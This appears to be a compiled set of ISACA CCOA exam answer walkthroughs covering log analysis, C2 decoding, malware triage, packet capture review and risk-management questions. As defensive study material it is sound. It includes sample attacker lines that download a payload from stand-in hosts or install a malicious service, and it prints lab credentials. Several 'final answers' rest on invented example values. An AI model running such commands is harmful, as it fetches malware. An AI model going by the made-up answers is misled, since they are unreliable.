3.1: Locate the Logs

Logs are likely stored in a central logging server or SIEM.

Common directories to check:

swift

/var/log/

/home/administrator/hids/logs/

/var/log/auth.log

/var/log/syslog

Navigate to the primary logs directory:

cd /var/log/

ls -l

3.2: Search for Logs Matching the Date and Time

Use the grep command to filter relevant logs:

grep "2024-08-16 23:3[9-9]\|2024-08-16 23:4[0-3]" /var/log/syslog

Explanation:

grep: Searches for the timestamp pattern in the log file.

"2024-08-16 23:3[9-9]\|2024-08-16 23:4[0-3]": Matches timestamps from11:39 PM to 11:43 PM.

Alternative Command:

If log files are split by date:

grep "23:3[9-9]\|23:4[0-3]" /var/log/syslog.1

Step 4: Filter the Targeted Host IP

4.1: Extract IP Addresses

After filtering the logs, isolate the IP addresses:

grep "2024-08-16 23:3[9-9]\|2024-08-16 23:4[0-3]" /var/log/syslog | awk '{print $8}' | sort | uniq -c | sort -nr

Explanation:

awk '{print $8}': Extracts the field where IP addresses typically appear.

sort | uniq -c: Counts unique IPs and sorts them.

Step 5: Analyze the Output

Sample Output:

15 192.168.1.10

8 192.168.1.20

3 192.168.1.30

The IP with themost log entrieswithin the specified timeframe is usually thetargeted host.

Most likely targeted IP:

192.168.1.10

If the log contains specific attack patterns (likebrute force,exploitation, orunauthorized access), prioritize IPs associated with those activities.

Step 6: Validate the Findings

6.1: Cross-Reference with the Threat Bulletin

Check if the identified IP matches anyIoCslisted in theCCOA Threat Bulletin.pdf.

Look for context likeattack vectorsortargeted systems.

Step 7: Report the Findings

Summary:

Time Frame:11:39 PM to 11:43 PM on August 16, 2024

Targeted IP:

192.168.1.10

Evidence:

Log entries matching the specified timeframe.

Cross-referenced with theCCOA Threat Bulletin.

Step 8: Incident Response Recommendations

Block IP addressesidentified as malicious.

Update firewall rulesto mitigate similar attacks.

Monitor logsfor any post-compromise activity on the targeted host.

Conduct a vulnerability scanon the affected system.

Final Answer:

192.168.1.10

To decode theCommand and Control (C2) hostfrom thepcap_artifact5.txtfile, follow these detailed steps:

Step 1: Access the File

Log into the Analyst Desktop.

Navigate to theDesktopand locate the file:

pcap_artifact5.txt

Open the file using a text editor:

OnWindows:

nginx

notepad pcap_artifact5.txt

OnLinux:

cat ~/Desktop/pcap_artifact5.txt

Step 2: Examine the File Contents

Check the contents to identify the encoding format. Typical encodings used for C2 communication include:

Base64

Hexadecimal

URL Encoding

ROT13

Example File Content (Base64 format):

nginx

aHR0cDovLzEwLjEwLjQ0LjIwMDo4MDgwL2NvbW1hbmQucGhw

Step 3: Decode the Contents

Method 1: Using PowerShell (Windows)

OpenPowerShelland decode:

powershell

$encoded = Get-Content "C:\Users\\Desktop\pcap_artifact5.txt"

[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded))

This will print the decoded content directly.

Method 2: Using Linux

Usebase64 decoding:

base64 -d ~/Desktop/pcap_artifact5.txt

If the content ishexadecimal, convert it as follows:

xxd -r -p ~/Desktop/pcap_artifact5.txt

If it appearsURL encoded, use:

echo -e $(cat ~/Desktop/pcap_artifact5.txt | sed 's/%/\\x/g')

Step 4: Analyze the Decoded Output

If the output appears like a URL or an IP address, that is likely theC2 host.

Example Decoded Output:

arduino

http://10.10.44.200:8080/command.php

TheC2 hostis:

10.10.44.200

Step 5: Cross-Verify the C2 Host

OpenWiresharkand load the relevant PCAP file to cross-check the IP:

mathematica

File > Open > Desktop > Investigations > ransom.pcap

Filter for C2 traffic:

ini

ip.addr == 10.10.44.200

Validate the C2 host IP address through network traffic patterns.

Answer:

10.10.44.200

Step 6: Document the Finding

Record the following details:

Decoded C2 Host:10.10.44.200

Source File:pcap_artifact5.txt

Decoding Method:Base64 (or the identified method)

Step 7: Next Steps

Threat Mitigation:

Block the IP address10.10.44.200at the firewall.

Conduct anetwork-wide searchto identify any communications with the C2 server.

Further Analysis:

Check other PCAP files for similar traffic patterns.

Perform adeep packet inspection (DPI)to identify malicious data exfiltration.

To identify thethreat actor groupassociated with themalscript.viruz.txtfile, follow these steps:

Step 1: Access the Analyst Desktop

Log into the Analyst Desktopusing your credentials.

Locate theMalware Samplesfolder on the desktop.

Inside the folder, find the file:

malscript.viruz.txt

Step 2: Examine the File

Open the file using a text editor:

OnWindows:Right-click > Open with > Notepad.

OnLinux:

cat ~/Desktop/Malware\ Samples/malscript.viruz.txt

Carefully read through the file content to identify:

Anystrings or commentsembedded within the script.

Specifickeywords,URLs, orfile hashes.

Anycommand and control (C2)server addresses or domain names.

Step 3: Analyze the Contents

Focus on:

Unique Identifiers:Threat group names, malware family names, or specific markers.

Indicators of Compromise (IOCs):URLs, IP addresses, or domain names.

Code Patterns:Specific obfuscation techniques or script styles linked to known threat groups.

Example Content:

# Malware Script Sample

# Payload linked to TA505 group

Invoke-WebRequest -Uri "http://malicious.example.com/payload" -OutFile "C:\Users\Public\malware.exe"

Step 4: Correlate with Threat Intelligence

Use the following resources to correlate any discovered indicators:

MITRE ATT&CK:To map the technique or tool.

VirusTotal:To check file hashes or URLs.

Threat Intelligence Feeds:Such asAlienVault OTXorThreatMiner.

If the script contains encoded or obfuscated strings, decode them using:

powershell

[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("SGVsbG8gd29ybGQ="))

Step 5: Identify the Threat Actor Group

If the script includes names, tags, or artifacts commonly associated with a specific group, take note.

Match any C2 domains or IPs with known threat actor profiles.

Common Associations:

TA505:Known for distributing banking Trojans and ransomware via malicious scripts.

APT28 (Fancy Bear):Uses PowerShell-based malware and data exfiltration scripts.

Lazarus Group:Often embeds unique strings and comments related to espionage operations.

Step 6: Example Finding

Based on the contents and C2 indicators found withinmalscript.viruz.txt, it may contain specific references or techniques that are typical of theTA505group.

Answer:

csharp

The malware in the malscript.viruz.txt file is associated with the TA505 threat actor group.

Step 7: Report and Document

Include the following details:

Filename:malscript.viruz.txt

Associated Threat Group:TA505

Key Indicators:Domain names, script functions, or specific malware traits.

Generate an incident report summarizing your analysis.

Step 8: Next Steps

Quarantine and Isolate:If the script was executed, isolate the affected system.

Forensic Analysis:Deep dive into system logs for any signs of execution.

Threat Hunting:Search for similar scripts or IOCs in the network.

Maintaining an effectiverisk management programrequiresongoing reviewbecause:

Dynamic Risk Landscape:Threats and vulnerabilities evolve, necessitating continuous reassessment.

Policy and Process Updates:Regular review ensures that risk management practices stay relevant and effective.

Performance Monitoring:Allows for the evaluation of control effectiveness and identification of areas for improvement.

Regulatory Compliance:Ensures that practices remain aligned with evolving legal and regulatory requirements.

Other options analysis:

A. Approved budget:Important for resource allocation, but not the core of continuous effectiveness.

B. Automated reporting:Supports monitoring but does not replace comprehensive reviews.

C. Monitoring regulations:Part of the review process but not the sole factor.

CCOA Official Review Manual, 1st Edition References:

Chapter 5: Risk Management Frameworks:Emphasizes the importance of continuous risk assessment.

Chapter 7: Monitoring and Auditing:Describes maintaining a dynamic risk management process.

Robust background checks help mitigateinsider threatsby ensuring that individuals withaccess to sensitive data or critical systemsdo not have a history of risky or malicious behavior.

Screening:Identifies red flags like past criminal activity or suspicious financial behavior.

Trustworthiness Assessment:Ensures that employees handling sensitive information have a proven history of integrity.

Insider Threat Mitigation:Helps reduce the risk of data theft, sabotage, or unauthorized access.

Periodic Rechecks:Maintain ongoing security by regularly updating background checks.

Incorrect Options:

A. DDoS attacks:Typically external; background checks do not mitigate these.

C. Phishing:An external social engineering attack, unrelated to employee background.

D. Ransomware:Generally spread via malicious emails or compromised systems, not insider actions.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 4, Section "Insider Threat Management," Subsection "Pre-Employment Screening" - Background checks are vital in identifying potential insider threats before hiring.

To decode thetargetswithin the filepcap_artifact5.txt, follow these steps:

Step 1: Access the File

Log into the Analyst Desktop.

Navigate to theDesktopand locate the file:

pcap_artifact5.txt

Open the file using a text editor:

OnWindows:

nginx

notepad pcap_artifact5.txt

OnLinux:

cat ~/Desktop/pcap_artifact5.txt

Step 2: Examine the File Contents

Analyze the contents to identify the encoding format. Common formats include:

Base64

Hexadecimal

URL Encoding

ROT13

Example Encoded Data (Base64):

makefile

MTBjYWwuY29tL2V4YW0K

Y2xPdWQtczNjdXJlLmNvbQpjMGMwbnV0ZjRybXMubmV0CmgzYXZ5X3MzYXMuYml6CmI0ZGRhdGEub3JnCg==

Step 3: Decode the Contents

Method 1: Using PowerShell (Windows)

OpenPowerShell:

powershell

$encoded = Get-Content "C:\Users\\Desktop\pcap_artifact5.txt"

[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded))

This command will display the decoded targets.

Method 2: Using Linux

Usebase64 decoding:

base64 -d ~/Desktop/pcap_artifact5.txt

If the content appears to behexadecimal, use:

xxd -r -p ~/Desktop/pcap_artifact5.txt

ForURL encoding, use:

echo -e $(cat ~/Desktop/pcap_artifact5.txt | sed 's/%/\\x/g')

Step 4: Analyze the Decoded Output

The decoded content should reveal domain names or URLs.

Check for valid domain structures, such as:

10cal.com/exam

clOud-s3cure.com

c0c0nutf4rms.net

h3avy_s3as.biz

b4ddata.org

Example Decoded Output:

10cal.com/exam

clOud-s3cure.com

c0c0nutf4rms.net

h3avy_s3as.biz

b4ddata.org

Step 5: Verify the Decoded Targets

Cross-reference the decoded domains with knownthreat intelligence feedsto check for any malicious indicators.

Use tools likeVirusTotalorURLHausto verify the domains.

10cal.com/exam

clOud-s3cure.com

c0c0nutf4rms.net

h3avy_s3as.biz

b4ddata.org

Step 6: Document the Finding

Decoded Targets:

10cal.com/exam

clOud-s3cure.com

c0c0nutf4rms.net

h3avy_s3as.biz

b4ddata.org

Source File:pcap_artifact5.txt

Decoding Method:Base64 (or the identified method)

To determine the physical address of the targeted web server, follow thesestep-by-step instructionsto analyze the logs in your SIEM system. The goal is to identify malicious PowerShell activity targeting the web server during the specified time window (12:00 AM to 1:00 AM on December 4, 2024).

Step 1: Understand the Context

Scenario:Your SIEM has detected suspicious PowerShell activities during off-hours (12:00 AM to 1:00 AM).

Objective:Identify the physical (MAC) address of the web server targeted by the malicious PowerShell commands.

Step 2: Identify Relevant Log Sources

Logs to investigate:

PowerShell logs (Event ID 4104)for command execution.

Windows Security Event Logsfor login and access attempts.

Network Traffic Logs(firewall or IDS/IPS) to detect connections made by PowerShell.

Web Server Access Logsfor any unusual requests.

SIEM Log Sources:

Windows Event Logs (Sysmon/PowerShell)

Firewall Logs

IDS/IPS Alerts

Web Server Logs (IIS, Apache)

Step 3: Use SIEM Filters to Isolate Relevant Events

Time Frame Filter:

Set the time range from12:00 AM to 1:00 AMonDecember 4, 2024.

Event ID Filter:

Filter forEvent ID 4104(PowerShell script block logging).

Command Pattern:

Look for suspicious commands like:

Invoke-WebRequest

Invoke-Expression (IEX)

New-Object Net.WebClient

Process Name:

Filter logs where theProcess Nameis powershell.exe.

Example SIEM Query:

index=windows_logs

| search EventID=4104 ProcessName="powershell.exe"

| where _time between "2024-12-04T00:00:00" and "2024-12-04T01:00:00"

| table _time, ProcessName, CommandLine, SourceIP, DestinationIP, MACAddress

Step 4: Correlate Events with Network Logs

Once you identify PowerShell events, correlate them withnetwork traffic logs.

Focus on:

Source IP Address: Where the PowerShell commands originated.

Destination IP Address: Targeted web server.

Use theIP address of the web serverto trace back theMAC address.

Example Network Log Query:

index=network_logs

| search DestinationIP=""

| where _time between "2024-12-04T00:00:00" and "2024-12-04T01:00:00"

| table _time, SourceIP, DestinationIP, MACAddress, Protocol, Port

Step 5: Analyze the PowerShell Commands

Investigate the nature of the commands:

Data Exfiltration:Using Invoke-WebRequest to send data to external IPs.

Remote Code Execution:Using IEX to run downloaded scripts.

Cross-check commands against knownIndicators of Compromise (IOCs).

Step 6: Validate the Web Server's Physical Address

Identify theMAC addresscorresponding to the targeted web server.

Cross-reference withARP tables or DHCP logsto confirm the mapping between IP and MAC address.

Example ARP Command on Windows:

arp -a | findstr

Step 7: Report the Findings

Document the targeted server’sIP address and MAC address.

Summarize the malicious activity:

Commands executed

Time and duration

Source and destination IPs

Example Finding:

Web Server IP: 192.168.1.50

Physical (MAC) Address: 00:1A:2B:3C:4D:5E

Time of Attack: 12:30 AM, December 4, 2024

PowerShell Command: Invoke-WebRequest -Uri "http://malicious.com/payload"

Step 8: Take Immediate Actions

Isolate the affected server.

Block external IPs involved.

Terminate malicious PowerShell processes.

Conduct a forensic analysis of compromised systems.

Step 9: Strengthen Security Post-Incident

Implement PowerShell Logging:Enable detailed script block and module logging.

Enhance Network Monitoring:Set up alerts for unusual PowerShell activities.

User Behavior Analytics (UBA):Detect anomalous login patterns outside working hours.

Amesh network topologyis the most resilient to network failures because:

Redundancy:Each node is interconnected, providing multiple pathways for data to travel.

No Single Point of Failure:If one connection fails, data can still be routed through alternative paths.

High Fault Tolerance:The decentralized structure ensures that the failure of a single device or link does not significantly impact network performance.

Ideal for Critical Infrastructure:Often used in environments where uptime is critical, such as financial or emergency services networks.

Other options analysis:

B. Star:A central hub connects all nodes, so if the hub fails, the entire network collapses.

C. Bus:A single backbone cable means a break in the cable can disrupt the entire network.

D. Ring:Data travels in a circular path; a single break can isolate part of the network unless it is a dual-ring topology.

CCOA Official Review Manual, 1st Edition References:

Chapter 4: Network Security Operations:Discusses network topology and its impact on reliability and redundancy.

Chapter 9: Network Design and Architecture:Highlights resilient topologies, including mesh, for secure and fault-tolerant operations.

Step 1: Define the Problem and Objective

Objective:

We need to identify the following from the webserver-auth-logs.txt file:

TheIP address performing a brute force attack.

Thetotal number of successful authenticationsmade by that IP.

Step 2: Prepare for Log Analysis

Preparation Checklist:

Environment Setup:

Ensure you are logged into a secure terminal.

Check your working directory to verify the file location:

ls ~/Desktop/Investigations/

You should see:

webserver-auth-logs.txt

Log File Format Analysis:

Open the file to understand the log structure:

head -n 10 ~/Desktop/Investigations/webserver-auth-logs.txt

Look for patterns such as:

pg

2025-04-07 12:34:56 login attempt from 192.168.1.1 - SUCCESS

2025-04-07 12:35:00 login attempt from 192.168.1.1 - FAILURE

Identify the key components:

Timestamp

Action (login attempt)

Source IP Address

Authentication Status (SUCCESS/FAILURE)

Step 3: Identify Brute Force Indicators

Characteristics of a Brute Force Attack:

Multiplelogin attemptsfrom thesame IP.

Combination ofFAILUREandSUCCESSmessages.

High volumeof attempts compared to other IPs.

Step 3.1: Extract All IP Addresses with Login Attempts

Use the following command:

grep "login attempt from" ~/Desktop/Investigations/webserver-auth-logs.txt | awk '{print $6}' | sort | uniq -c | sort -nr > brute-force-ips.txt

Explanation:

grep "login attempt from": Finds all login attempt lines.

awk '{print $6}': Extracts IP addresses.

sort | uniq -c: Groups and counts IP occurrences.

sort -nr: Sorts counts in descending order.

> brute-force-ips.txt: Saves the output to a file for documentation.

Step 3.2: Analyze the Output

View the top IPs from the generated file:

head -n 5 brute-force-ips.txt

Expected Output:

1500 192.168.1.1

45 192.168.1.2

30 192.168.1.3

Interpretation:

The first line shows 192.168.1.1 with 1500 attempts, indicating brute force.

Step 4: Count Successful Authentications

Why Count Successful Logins?

To determine how many successful logins the attacker achieved despite brute force attempts.

Step 4.1: Filter Successful Logins from Brute Force IP

Use this command:

grep "192.168.1.1" ~/Desktop/Investigations/webserver-auth-logs.txt | grep "SUCCESS" | wc -l

Explanation:

grep "192.168.1.1": Filters lines containing the brute force IP.

grep "SUCCESS": Further filters successful attempts.

wc -l: Counts the resulting lines.

Step 4.2: Verify and Document the Results

Record the successful login count:

Total Successful Authentications: 25

Save this information for your incident report.

Step 5: Incident Documentation and Reporting

5.1: Summary of Findings

IP Performing Brute Force Attack:192.168.1.1

Total Number of Successful Authentications:25

5.2: Incident Response Recommendations

Block the IP addressfrom accessing the system.

Implementrate-limiting and account lockout policies.

Conduct athorough investigationof affected accounts for possible compromise.

Step 6: Automated Python Script (Recommended)

If your organization prefers automation, use a Python script to streamline the process:

import re

from collections import Counter

logfile = "~/Desktop/Investigations/webserver-auth-logs.txt"

ip_attempts = Counter()

successful_logins = Counter()

try:

with open(logfile, "r") as file:

for line in file:

match = re.search(r"from (\d+\.\d+\.\d+\.\d+)", line)

if match:

ip = match.group(1)

ip_attempts[ip] += 1

if "SUCCESS" in line:

successful_logins[ip] += 1

brute_force_ip = ip_attempts.most_common(1)[0][0]

success_count = successful_logins[brute_force_ip]

print(f"IP Performing Brute Force: {brute_force_ip}")

print(f"Total Successful Authentications: {success_count}")

except Exception as e:

print(f"Error: {str(e)}")

Usage:

Run the script:

python3 detect_bruteforce.py

Output:

IP Performing Brute Force: 192.168.1.1

Total Successful Authentications: 25

Step 7: Finalize and Communicate Findings

Prepare a detailed incident report as per ISACA CCOA standards.

Include:

Problem Statement

Analysis Process

Evidence (Logs)

Findings

Recommendations

Share the report with relevant stakeholders and the incident response team.

Final Answer:

Brute Force IP:192.168.1.1

Total Successful Authentications:25

Step 1: Define the Problem and Objective

Objective:

Identify thefile containing the rulesetforEternalBlue connections.

Include thefile extensionin the response.

Context:

The organization is experiencingfalse positive alertsfor theEternalBlue vulnerability.

The rulesets are located at:

/home/administrator/hids/ruleset/rules

We need to find the specific file associated withEternalBlue.

Step 2: Prepare for Access

2.1: SIEM Access Details:

URL:

https://10.10.55.2

Username:

ccoatest@isaca.org

Password:

Security-Analyst!

Ensure your machine has access to the SIEM system via HTTPS.

Step 3: Access the SIEM System

3.1: Connect via SSH (if needed)

Open a terminal and connect:

ssh administrator@10.10.55.2

Password:

Security-Analyst!

If prompted about SSH key verification, typeyesto continue.

Step 4: Locate the Ruleset File

4.1: Navigate to the Ruleset Directory

Change to the ruleset directory:

cd /home/administrator/hids/ruleset/rules

ls -l

You should see a list of files with names indicating their purpose.

4.2: Search for EternalBlue Ruleset

Use grep to locate the EternalBlue rule:

grep -irl "eternalblue" *

Explanation:

grep -i: Case-insensitive search.

-r: Recursive search within the directory.

-l: Only print file names with matches.

"eternalblue": The keyword to search.

*: All files in the current directory.

Expected Output:

exploit_eternalblue.rules

Filename:

exploit_eternalblue.rules

The file extension is .rules, typical for intrusion detection system (IDS) rule files.

Step 5: Verify the Content of the Ruleset File

5.1: Open and Inspect the File

Use less to view the file contents:

less exploit_eternalblue.rules

Check for rule patterns like:

alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"EternalBlue SMB Exploit"; ...)

Use the search within less:

/eternalblue

Purpose:Verify that the file indeed contains the rules related to EternalBlue.

Step 6: Document Your Findings

Answer:

Ruleset File for EternalBlue:

exploit_eternalblue.rules

File Path:

/home/administrator/hids/ruleset/rules/exploit_eternalblue.rules

Reasoning:This file specifically mentions EternalBlue and contains the rules associated with detecting such attacks.

Step 7: Recommendation

Mitigation for False Positives:

Update the Ruleset:

Modify the file to reduce false positives by refining the rule conditions.

Update Signatures:

Check for updated rulesets from reliable threat intelligence sources.

Whitelist Known Safe IPs:

Add exceptions for legitimate internal traffic that triggers the false positives.

Implement Tuning:

Adjust the SIEM correlation rules to decrease alert noise.

Final Verification:

Restart the IDS service after modifying rules to ensure changes take effect:

sudo systemctl restart hids

Check the status:

sudo systemctl status hids

Final Answer:

Ruleset File Name:

exploit_eternalblue.rules

Exposing thesession identifier in a URLis a classic example of anidentification and authentication failurebecause:

Session Hijacking Risk:Attackers can intercept session IDs when exposed in URLs, especially through techniques likereferrer header leaksorlogs.

Session Fixation:If the session ID is predictable or accessible, attackers can force a user to log in with a known ID.

OWASP Top Ten 2021 - Identification and Authentication Failures (A07):Exposing session identifiers makes it easier for attackers to impersonate users.

Secure Implementation:Best practices dictate storing session IDs inHTTP-only cookiesrather than in URLs to prevent exposure.

Other options analysis:

A. Cryptographic failures:This risk involves improper encryption practices, not session management.

B. Insecure design and implementation:Broad category, but this specific flaw is more aligned with authentication issues.

D. Broken access control:Involves authorization flaws rather than authentication or session handling.

CCOA Official Review Manual, 1st Edition References:

Chapter 4: Web Application Security:Covers session management best practices and related vulnerabilities.

Chapter 8: Application Security Testing:Discusses testing for session-related flaws.

Asupply chain attackoccurs when a threat actor compromises athird-party vendoror partner that an organization relies on. The attack is then propagated to the organization through trusted connections or software updates.

Reason for Lack of Indicators of Compromise (IoCs):

The attack often occursupstream(at a vendor), so the compromised organization may not detect any direct signs of breach.

Trusted Components:Malicious code or backdoors may be embedded intrusted software updatesor services.

Real-World Example:TheSolarWinds breach, where attackers compromised the software build pipeline, affecting numerous organizations without direct IoCs on their systems.

Why Not the Other Options:

B. Zero-day attack:Typically leaves some traces or unusual behavior.

C. injection attack:Usually detectable through web application monitoring.

D. Man-in-the-middle attack:Often leaves traces in network logs.

CCOA Official Review Manual, 1st Edition References:

Chapter 6: Advanced Threats and Attack Techniques:Discusses the impact of supply chain attacks.

Chapter 9: Incident Response Planning:Covers the challenges of detecting supply chain compromises.

The compromise occurred despiteencryption and proper access rights, indicating that the attacker likelygained access through compromised credentials.MFAwould mitigate this by:

Adding a Layer of Security:Even if credentials are stolen, the attacker would also need the second factor (e.g., OTP).

Account Compromise Prevention:Prevents unauthorized access even if username and password are known.

Insufficient Authentication:The absence of MFA often leaves systems vulnerable to credential-based attacks.

Other options analysis:

A. Continual backups:Addresses data loss, not unauthorized access.

C. Encryption in transit:Encryption was already implemented.

D. Configured firewall:Helps with network security, not authentication.

CCOA Official Review Manual, 1st Edition References:

Chapter 7: Access Management and Authentication:Discusses the critical role of MFA in preventing unauthorized access.

Chapter 9: Identity and Access Control:Highlights how MFA reduces the risk of data exposure.

The organization is implementing anew cloud-based real-time backup systemto reduce the likelihood ofdata loss, which is an example ofrisk mitigationbecause:

Reducing Risk Impact:By upgrading from an outdated system, the organization minimizes the potential consequences of data loss.

Implementing Controls:The new backup system is aproactive control measuredesigned to decrease the risk.

Enhancing Recovery Capabilities:Real-time backups ensure that data remains intact and recoverable even in case of a failure.

Other options analysis:

B. Risk avoidance:Involves eliminating the risk entirely, not just reducing it.

C. Risk transfer:Typically involves shifting the risk to a third party (like insurance), not implementing technical controls.

D. Risk acceptance:Involves acknowledging the risk without implementing changes.

CCOA Official Review Manual, 1st Edition References:

Chapter 5: Risk Management:Clearly differentiates between mitigation, avoidance, transfer, and acceptance.

Chapter 7: Backup and Recovery Planning:Discusses modern data protection strategies and their risk implications.

To identify the compromised host using thekeyword agent.name, follow these steps:

Step 1: Access the Alert Bulletin

Navigate to thealerts folderon your system.

Locate the alert file:

alert_33.pdf

Open the file with a PDF reader and review its contents.

Key Information to Extract:

Indicators of Compromise (IOCs) provided in the bulletin:

File hashes

IP addresses

Hostnames

Keywords related to the compromise

Step 2: Log into SIEM or Log Management System

Access your organization'sSIEMor centralized log system.

Make sure you have the appropriate permissions to view log data.

Step 3: Set Up Your Search

Time Filter:

Set the time window toAugust 19, 2024, around11:00 PM (Absolute).

Keyword Filter:

Use the keywordagent.nameto search for host information.

IOC Correlation:

Incorporate IOCs from thealert_33.pdffile (e.g., IP addresses, hash values).

Example SIEM Query:

index=host_logs

| search "agent.name" AND (IOC_from_alert OR "2024-08-19T23:00:00")

| table _time, agent.name, host.name, ip_address, alert_id

Step 4: Analyze the Results

Review the output for any host names that appear unusual or match the IOCs from the alert bulletin.

Focus on:

Hostnames that appeared at 11:00 PM

Correlation with IOC data(hash, IP, filename)

Example Output:

_time agent.name host.name ip_address alert_id

2024-08-19T23:01 CompromisedAgent COMP-SERVER-01 192.168.1.101 alert_33

Step 5: Verify the Host

Cross-check the host name identified in the logs with the information fromalert_33.pdf.

Ensure the host name corresponds to the malicious activity noted.

The host name identified in the keyword agent.name field is: COMP-SERVER-01

Step 6: Mitigation and Response

Isolate the Compromised Host:

Remove the affected system from the network to prevent lateral movement.

Conduct Forensic Analysis:

Inspect system processes, logs, and network activity.

Patch and Update:

Apply security updates and patches.

Threat Hunting:

Look for signs of compromise in other systems using the same IOCs.

Step 7: Document and Report

Create a detailed incident report:

Date and Time:August 19, 2024, at 11:00 PM

Compromised Host Name:COMP-SERVER-01

Associated IOCs:(as per alert_33.pdf)

By following these steps, you successfully identify the compromised host and take initial steps to contain and investigate the incident. Let me know if you need further assistance!

To identify thename of the servicethat the malware attempts to install from theMalscript.viruz.txtfile, follow these steps:

Step 1: Access the Analyst Desktop

Log into the Analyst Desktopusing your credentials.

Navigate to theMalware Samplesfolder located on the desktop.

Locate the file:

Malscript.viruz.txt

Step 2: Examine the File Contents

Open the file with a text editor:

Windows:Right-click > Open with > Notepad.

Linux:

cat ~/Desktop/Malware\ Samples/malscript.viruz.txt

Review the content to identify any lines that relate to:

Service creation

Service names

Installation commands

Common Keywords to Look For:

New-Service

sc create

Install-Service

Set-Service

net start

Step 3: Identify the Service Creation Command

Malware typically uses commands like:

powershell

New-Service -Name "MalService" -BinaryPathName "C:\Windows\malicious.exe"

or

cmd

sc create MalService binPath= "C:\Windows\System32\malicious.exe"

Focus on lines where the malware tries toregister or create a service.

Step 4: Example Content from Malscript.viruz.txt

arduino

powershell.exe -Command "New-Service -Name 'MaliciousUpdater' -DisplayName 'Updater Service' -BinaryPathName 'C:\Users\Public\updater.exe' -StartupType Automatic"

In this example, thename of the serviceis:

nginx

MaliciousUpdater

Step 5: Cross-Verification

Check for multiple occurrences of service creation in the script to ensure accuracy.

Verify that the identified service name matches theintended purposeof the malware.

Answer:

pg

The name of the service that the malware attempts to install is: MaliciousUpdater

Step 6: Immediate Action

Check for the Service:

powershell

Get-Service -Name "MaliciousUpdater"

Stop and Remove the Service:

powershell

Stop-Service -Name "MaliciousUpdater" -Force

sc delete "MaliciousUpdater"

Remove Associated Executable:

powershell

Remove-Item "C:\Users\Public\updater.exe" -Force

Step 7: Documentation

Record the following:

Service Name:MaliciousUpdater

Installation Command:Extracted from Malscript.viruz.txt

File Path:C:\Users\Public\updater.exe

Actions Taken:Stopped and deleted the service.

To identify thefull User-Agent valueassociated with theransomware demand file downloadfrom theransom.pcapfile, follow these detailed steps:

Step 1: Access the PCAP File

Log into the Analyst Desktop.

Navigate to theInvestigationsfolder located on the desktop.

Locate the file:

ransom.pcap

Step 2: Open the PCAP File in Wireshark

LaunchWireshark.

Open the PCAP file:

mathematica

File > Open > Desktop > Investigations > ransom.pcap

ClickOpento load the file.

Step 3: Filter HTTP Traffic

Since ransomware demands are often served astext files (e.g., README.txt)via HTTP/S, use the following filter:

http.request or http.response

This filter will show bothHTTP GETandPOSTrequests.

Step 4: Locate the Ransomware Demand File Download

Look for HTTPGETrequests that include common ransomware filenames such as:

README.txt

DECRYPT_INSTRUCTIONS.html

HELP_DECRYPT.txt

Right-click on the suspicious HTTP packet and select:

arduino

Follow > HTTP Stream

Analyze theHTTP headersto find theUser-Agent.

Example HTTP Request:

GET /uploads/README.txt HTTP/1.1

Host: 10.10.44.200

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36

Step 5: Verify the User-Agent

Check multiple streams to ensure consistency.

Confirm that theUser-Agentbelongs to the same host(10.10.44.200)involved in the ransomware incident.

Answer:

swift

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36

Step 6: Document and Report

Record the User-Agent for analysis:

PCAP Filename:ransom.pcap

User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36

Related File:README.txt

Step 7: Next Steps

Forensic Analysis:

Look for more HTTP requests from the sameUser-Agent.

Monitor Network Activity:

Identify other systems with the same User-Agent pattern.

Block Malicious Traffic:

Update firewall rules to block any outbound connections to suspicious domains.

To determine the host IP of the machine vulnerable toCVE-2021-22145usingGreenbone Vulnerability Manager (GVM), follow these detailed steps:

Step 1: Access Greenbone Vulnerability Manager

OpenFirefoxon your system.

Go to the GVM login page:

URL: https://10.10.55.4:9392

Enter the credentials:

Username: admin

Password: Secure-gvm!

ClickLoginto access the dashboard.

Step 2: Navigate to Scan Reports

Once logged in, locate the"Scans"menu on the left panel.

Click on"Reports"under the"Scans"section to view the list of completed vulnerability scans.

Step 3: Identify the Most Recent Scan

Check thedate and timeof the last completed scan, as your colleague likely used the latest one.

Click on theReport NameorDateto open the detailed scan results.

Step 4: Filter for CVE-2021-22145

In the report view, locate the"Search"or"Filter"box at the top.

Enter the CVE identifier:

CVE-2021-22145

PressEnterto filter the vulnerabilities.

Step 5: Analyze the Results

The system will display any host(s) affected byCVE-2021-22145.

The details will typically include:

Host IP Address

Vulnerability Name

Severity Level

Vulnerability Details

Example Display:

Host IP

Vulnerability ID

CVE

Severity

192.168.1.100

SomeVulnName

CVE-2021-22145

High

Step 6: Verify the Vulnerability

Click on the host IP to see thedetailed vulnerability description.

Check for the following:

Exploitability: Proof that the vulnerability can be actively exploited.

Description and Impact: Details about the vulnerability and its potential impact.

Fixes/Recommendations: Suggested mitigations or patches.

Step 7: Note the Vulnerable Host IP

The IP address that appears in the filtered list is thevulnerable machine.

Example Answer:

The host IP of the machine vulnerable to CVE-2021-22145 is: 192.168.1.100

Step 8: Take Immediate Actions

Isolate the affected machineto prevent exploitation.

Patch or updatethe software affected by CVE-2021-22145.

Perform a quick re-scanto ensure that the vulnerability has been mitigated.

Step 9: Generate a Report for Documentation

Export the filtered scan results as aPDForHTMLfrom the GVM.

Include:

Host IP

CVE ID

Severity and Risk Level

Remediation Steps

Background on CVE-2021-22145:

This CVE is related to a vulnerability in certain software, often associated withimproper access controlorauthentication bypass.

Attackers can exploit this to gain unauthorized access or escalate privileges.